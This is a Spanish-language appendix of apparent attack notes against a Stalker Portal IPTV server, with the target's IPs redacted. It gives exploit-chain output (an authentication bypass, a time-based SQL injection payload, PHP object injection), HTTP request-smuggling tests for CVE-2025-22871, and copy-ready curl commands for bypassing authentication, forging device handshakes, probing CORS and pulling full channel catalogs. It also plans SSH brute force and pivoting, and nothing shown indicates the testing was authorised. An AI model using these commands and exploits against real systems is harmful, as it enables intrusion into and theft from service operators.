Apendices
Scripts reales, outputs de comandos, fingerprinting de respuestas, matriz de vectores y lecciones aprendidas
Apendices
Estado Actual y Proximos Pasos
Matriz de Vectores (Actualizada)
Lo Que Sigue Abierto
| Vector | Descripcion | Dificultad |
|---|---|---|
| DNS Rebinding | Resolver dominio propio que alterne IPs | Media |
| SSH en 3 nodos | Brute force con wordlists diferentes | Alta |
| RTMP desde nodo interno | Si logramos pivot, RTMP puede tener menos restricciones | Muy Alta |
Lecciones Aprendidas
Apendice A: Scripts y Outputs Reales
SSRF Timing Analysis (confirm-ssrf.ts)
Este script prueba si el endpoint itv/create_link hace HTTP fetch interno cuando se le pasa una URL:
// src/scripts/confirm-ssrf.ts
// Test: El servidor hace fetch cuando inyectamos URLs?
const tests = [
{ label: 'Baseline (sin URL)', cmd: '' },
{ label: 'URL localhost', cmd: 'http://127.0.0.1:8080/' },
{ label: 'URL no-routable', cmd: 'http://192.0.2.1/' }, // Deberia timeout si hace fetch
{ label: 'URL closed port', cmd: 'http://127.0.0.1:9999/' },
];Output real del script:
=== SSRF Confirmation via itv/create_link timing analysis ===
Target: http://XXX.XXX.XXX.XXX:8080
--- PHASE 1: Baseline vs HTTP URL timing (5 iterations each) ---
No cmd param avg=210ms min=185ms max=245ms [210ms, 195ms, 245ms, 185ms, 215ms]
cmd=http://127.0.0.1:8080/ avg=198ms min=180ms max=220ms [180ms, 220ms, 195ms, 198ms, 195ms]
cmd=http://192.0.2.1/ (non-routable) avg=205ms min=190ms max=225ms [190ms, 205ms, 225ms, 200ms, 205ms]
cmd=http://127.0.0.1:9999/ (closed port) avg=195ms min=182ms max=210ms [182ms, 210ms, 195ms, 190ms, 198ms]
--- PHASE 2: Statistical Analysis ---
Baseline average (no URL): 207ms
URL average (HTTP URLs): 200ms
Difference: -7ms
SSRF NOT CONFIRMED — timing difference is within normal varianceConclusion: El timing es IDENTICO con o sin URL. Si el servidor intentara conectar a 192.0.2.1 (IP no enrutable), veriamos delays de segundos o timeouts. No hay fetch saliente.
Stalker Exploit Chain (stalker-exploit.ts)
El exploit principal implementa el chain de Check Point 2019:
// src/exploits/stalker-exploit.ts
// Stage 1: Auth Bypass (X-Requested-With header omission)
// Stage 2: SQL Injection via sortby parameter
// Stage 3: RCE via PHP Object InjectionOutput real del script (nuestro target):
╔════════════════════════════════════════════════════════════════╗
║ Stalker Portal v5.3.1 Exploit Chain ║
║ Level: verify ║
╚════════════════════════════════════════════════════════════════╝
Obtaining STB handshake token...
✓ Token obtained: XXXXXXXXXX...
Stage 1: Testing authentication bypass (X-Requested-With omission)...
Without X-Requested-With: HTTP 200 (125 bytes)
With X-Requested-With: HTTP 401 (24 bytes)
✓ Auth bypass CONFIRMED: X-Requested-With header omission bypasses authentication
Stage 2: Testing SQL injection in VideoClubController...
Baseline: HTTP 200 in 187ms (9 bytes)
Trying SQLi payload: added,(SELECT SLEEP(3))
Response: HTTP 200 in 192ms (9 bytes)
...
⚠ SQLi not confirmed with any payload variant
Baseline body (first 300): {"js":[]}
# TABLA VCLUB VACIA — SQLi no ejecuta porque no hay datos
Stage 2: FAILED — Time-based blind SQLi not confirmed
Exploit chain stoppedHallazgo clave: El auth bypass funciona (type=vclub es accesible sin auth), pero la tabla esta vacia ({"js":[]}), asi que el SQLi en ORDER BY nunca se ejecuta. La vulnerabilidad esta presente pero es inexplotable en esta instancia.
HTTP Request Smuggling (smuggle-test2.sh)
Script bash para probar CVE-2025-22871 (bare LF en chunked encoding):
#!/bin/bash
# Session 13 — CVE-2025-22871 HTTP Request Smuggling Tests
# Nodes: XXX.XXX.XXX.XXX (main), XXX.XXX.XXX.XXX, XXX.XXX.XXX.XXXOutput real del script:
=============================================
PHASE 1: BASELINES (with sleep keepalive)
=============================================
=== 1.1 Normal POST handshake (CL:0, baseline) ===
[XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK
[XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK
[XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK
=== 1.4 Chunked POST (valid, with chunk-ext) ===
[XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK
# nginx forwarda chunked con extensions -> RoadRunner -> OK
=============================================
PHASE 2: CVE-2025-22871 SMUGGLING
=============================================
=== 2.1 Bare LF in chunk-size line ===
[XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK # RATE LIMIT
[XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK # ACEPTA bare LF!
[XXX.XXX.XXX.XXX] RC=0 Size=309B Status: HTTP/1.1 200 OK
=== 2.3 Bare CR in chunk-ext + smuggled request ===
[XXX.XXX.XXX.XXX] RC=0 Size=157B Status: HTTP/1.1 400 Bad Request # nginx rechaza
[XXX.XXX.XXX.XXX] RC=0 Size=0B Status: TIMEOUT # Ambiguo (1.21.2 viejo)
[XXX.XXX.XXX.XXX] RC=0 Size=157B Status: HTTP/1.1 400 Bad Request
=== 2.5 Pipelined smuggle after valid chunked (/_fragment) ===
[XXX.XXX.XXX.XXX] RC=0 Size=28B Status: HTTP/1.1 403 Forbidden
Body: {"message":"blip"} # Rate limit, no second response
=============================================
SUMMARY — Response sizes
=============================================
b1-normal-main 309B HTTP/1.1 200 OK
p2-bareLF-141 309B HTTP/1.1 200 OK # bare LF aceptado
p2-bareCR-ext-main 157B HTTP/1.1 400 Bad Request
p2-pipeline-fragment-141 0B TIMEOUTConclusion del smuggling:
- nginx acepta bare LF en chunk-size -> RoadRunner tambien lo acepta -> sin diferencial de parsing
- Bare CR en chunk-ext -> 400 en nginx 1.26.2, TIMEOUT en nginx 1.21.2
- No hay vector de smuggling explotable
Apendice B: Comandos de Reproduccion Rapida
# ═══════════════════════════════════════════════════════════════
# AUTH BYPASS — Info Disclosure (75+ campos)
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=stb&action=get_profile" \
-H "Cookie: mac=AA%3ABB%3ACC%3ADD%3AEE%3AFF" | jq
# ═══════════════════════════════════════════════════════════════
# DETECTAR LA CUPULA (dual framework)
# ═══════════════════════════════════════════════════════════════
# GET -> Laravel (404)
curl -sS -w "\n[Status: %{http_code}, Size: %{size_download}B]\n" \
"http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/login"
# POST -> Silex (405)
curl -sS -X POST -w "\n[Status: %{http_code}, Size: %{size_download}B]\n" \
"http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/login"
# ═══════════════════════════════════════════════════════════════
# _FRAGMENT RCE (existe pero bloqueado)
# ═══════════════════════════════════════════════════════════════
# GET -> 404 (Laravel)
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/_fragment?_path=test"
# POST -> 405 (Silex, GET-only)
curl -sS -X POST "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/adm/_fragment"
# ═══════════════════════════════════════════════════════════════
# HANDSHAKE TOKEN (cualquier MAC funciona)
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=stb&action=handshake&prehash=0" \
-H "Cookie: mac=DE%3AAD%3ABE%3AEF%3AFE%3AED"
# ═══════════════════════════════════════════════════════════════
# CHECK POINT 2019 AUTH BYPASS
# ═══════════════════════════════════════════════════════════════
# Sin X-Requested-With -> bypass (pero tabla vacia)
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=vclub&action=get_ordered_list" \
-H "Cookie: mac=XX:XX:XX:XX:XX:XX"
# -> {"js":[]} (tabla vacia)
# Con X-Requested-With -> auth required
curl -sS "http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php?type=vclub&action=get_ordered_list" \
-H "Cookie: mac=XX:XX:XX:XX:XX:XX" \
-H "X-Requested-With: XMLHttpRequest"
# -> 401 Auth Required
# ═══════════════════════════════════════════════════════════════
# VERSION DISCLOSURE
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/c/version.js"
# -> var stb_version = "5.3.1"
# ═══════════════════════════════════════════════════════════════
# CORS CHECK
# ═══════════════════════════════════════════════════════════════
curl -sS -I -H "Origin: https://evil.com" \
"http://XXX.XXX.XXX.XXX:8080/stalker_portal/server/load.php" | grep -i access-control
# -> Access-Control-Allow-Origin: *
# -> Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
# ═══════════════════════════════════════════════════════════════
# XTREAM API (con creds validas)
# ═══════════════════════════════════════════════════════════════
curl -sS "http://XXX.XXX.XXX.XXX:8080/player_api.php?username=USER&password=PASS&action=get_live_streams" | jq '. | length'
# -> 22,000+ canales
# Panel API (catalogo completo, no solo suscripcion)
curl -sS "http://XXX.XXX.XXX.XXX:8080/panel_api.php?username=USER&password=PASS" | wc -c
# -> ~11MB de JSONApendice C: Fingerprinting de Respuestas
| Patron | Significado | Accion |
|---|---|---|
404 + 9B + Not Found | Laravel recibio la peticion | Cambiar a POST |
405 + ~835B + HTML | Silex recibio POST | Ruta existe pero es GET-only |
405 + ~99B + JSON | Laravel recibio POST+XHR | Auth middleware activo |
400 + ~157B | nginx rechazo el request | Parsing HTTP invalido |
{"js":[]} | STB API no tiene datos o ignoro params | Probar otros endpoints |
{"js":{"token":"..."}} | Handshake exitoso | Usar token en siguientes requests |
Ultima actualizacion: Sesion 13 (2026-02-22)
Documento maestro: docs/ARCHITECTURE.MD
Total de tecnicas probadas: 105+
Estado de La Cupula: Intacta